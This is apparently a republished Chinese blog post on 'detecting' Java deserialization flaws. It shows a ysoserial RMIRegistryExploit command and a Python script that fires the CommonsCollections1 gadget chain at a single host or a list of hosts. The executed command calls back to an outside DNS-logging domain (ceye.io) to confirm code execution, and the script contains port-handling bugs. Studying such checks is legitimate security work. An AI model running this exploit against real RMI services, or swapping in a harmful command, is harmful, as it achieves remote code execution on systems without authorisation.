java反序列化漏洞的检测

1、首先下载常用的工具ysoserial

这边提供下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar

2、使用方法:

1 java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit a.b.c.d 1099 CommonsCollections1 "nslookup *******.********.ceye.io"

3、写成poc如下

 1 #!/usr/bin/python
 2 # -*- coding:utf-8 -*-  
 3 
 4 import os
 5 import sys
 6 
 7 def check(host,port=1099,infile=None):
 8     if infile == None:
 9         cmd = 'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit %s %s CommonsCollections1 "nslookup *.*.ceye.io"'%(host,port)
10         response = os.popen(cmd)
11         print response.read()
12     else:
13         with open(infile,"r") as fr:
14             for target in fr.readlines():
15                 target = target.split("\n")[0].split("\r")[0]
16                 host = target.split(":")[0]
17                 ip = target.split(":")[-1]
18                 if ip.find("."):
19                     ip = 1099
20                 cmd = 'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit %s %s CommonsCollections1 "nslookup *.*.ceye.io"'%(host,port)
21                 response = os.popen(cmd)
22                 print response.read()
23 
24 if __name__ == '__main__':
25     parameter = sys.argv[1]
26     if parameter.find(":") >0 :
27         host = str(sys.argv[1]).split(":")[0]
28         port = str(sys.argv[1]).split(":")[-1]
29         if port.find(".") > 0:
30             port = 1099
31         infile = None
32     else:
33         infile = str(sys.argv[1])
34         host = None
35         port = None
36     if host != None and host != "":
37         if port != None and port != "":
38             check(host=host,port=port)
39         else:
40             check(host=host)
41     elif infile != None:
42         print "[+] fileinputstart"
43         check(host=None,port=1099,infile=infile)

效果如下图:

 

转载于:https://www.cnblogs.com/KevinGeorge/p/8184851.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值